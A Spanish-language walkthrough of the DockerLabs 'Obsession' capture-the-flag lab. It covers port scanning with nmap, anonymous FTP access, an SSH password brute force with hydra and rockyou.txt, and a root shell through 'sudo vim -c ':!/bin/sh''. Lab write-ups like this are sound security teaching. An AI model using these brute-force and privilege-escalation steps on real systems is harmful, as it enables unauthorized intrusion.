> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-muy-facil/obsession.md).
# Obsession
### **1. Despliegue de la máquina**
#### **1.1. Descarga**
Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **Obsession** y pulsamos en el botón de descarga. Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que contiene tanto la imagen de la máquina como el script necesario para su ejecución.
#### **1.2. Descompresión**
Utilizamos la herramienta `7z` para extraer el contenido del archivo comprimido:
```bash
7z x obsession.zip
```
#### **1.3. Ejecución**
Desplegamos la máquina en Docker ejecutando el script proporcionado:
```bash
bash auto_deploy.sh obsession.tar
```
### **2. Reconocimiento**
#### **2.1. Verificación de conectividad**
Comprobamos la conectividad con la máquina objetivo usando `ping`:
```bash
ping -c 1 172.17.0.2
```
El valor `TTL=64` nos indica que el sistema operativo es **Linux**.
#### **2.2. Escaneo de puertos**
Realizamos un escaneo rápido para identificar puertos abiertos con `nmap`:
```bash
nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```
**Resultados:**
* **Puerto 21:** FTP.
* **Puerto 22:** SSH.
* **Puerto 80:** HTTP.
#### **2.3. Escaneo detallado**
Escaneo para obtener detalles de los servicios y versiones que se están ejecutando en cada uno de los puertos:
```bash
nmap -p21,22,80 -sCV 172.17.0.2 -oN targeted
```
**Resultados:**
* **Puerto 21:** Con acceso anónimo habilitado y versión vsftpd 3.0.5.
* **Puerto 22:** OpenSSH 9.6p1.
* **Puerto 80:** Apache httpd 2.4.58.
### **3. Explotación**
#### **3.1. Acceso al servicio FTP**
Accedemos al servicio FTP con el usuario `anonymous`:
```bash
ftp anonymous@172.17.0.2
```
Y descargamos los archivos encontrados:
```bash
get chat-gonza.txt
```
```bash
get pendientes.txt
```
**Contenido de los archivos:**
* `chat-gonza.txt`: Conversación que menciona a los usuarios `gonza`, `russoski` y `nagore`.
* `pendientes.txt`: Lista de tareas pendientes.
#### **3.2. Análisis del servicio web**
Al acceder a `http://172.17.0.2`, encontramos un formulario con un botón que dice "Cambiar mi vida a mejor ahora".
Al enviar el formulario, aparece un mensaje genérico.
**Inspección del código fuente:**
Encontramos un comentario revelador en el código fuente de la página web:
```html
```
#### **3.3. Fuerza bruta contra SSH**
Utilizamos `hydra` para realizar un ataque de fuerza bruta contra el servicio SSH con los usuarios encontrados (`russoski`, `gonza`, `nagore`). Vamos a comenzar con el usuario `russoski`, ya que hemos visto este nombre de usuario en varias ocasiones:
```bash
hydra -L russoski -P /usr/share/wordlists/rockyou.txt 172.17.0.2 ssh
```
**Resultado:** La contraseña del usuario `russoski` es `iloveme`.
#### **3.4. Acceso al sistema con el usuario russoski**
Accedemos al sistema vía SSH:
```bash
ssh russoski@172.17.0.2
```
### **4. Escalada de privilegios**
#### **4.1. Verificación de permisos**
Ejecutamos `sudo -l` para ver los privilegios del usuario `russoski`.
**Resultado:**
```bash
(root) NOPASSWD: /usr/bin/vim
```
El usuario `russoski` puede ejecutar `vim` como `root` sin proporcionar contraseña.
#### **4.2. Explotación de vim**
Consultamos [GTFOBins](https://gtfobins.github.io/gtfobins/vim/) y ejecutamos el siguiente comando para obtener una shell como `root`:
```bash
sudo vim -c ':!/bin/sh'
```
Con esto, damos por completada la máquina Obsession.
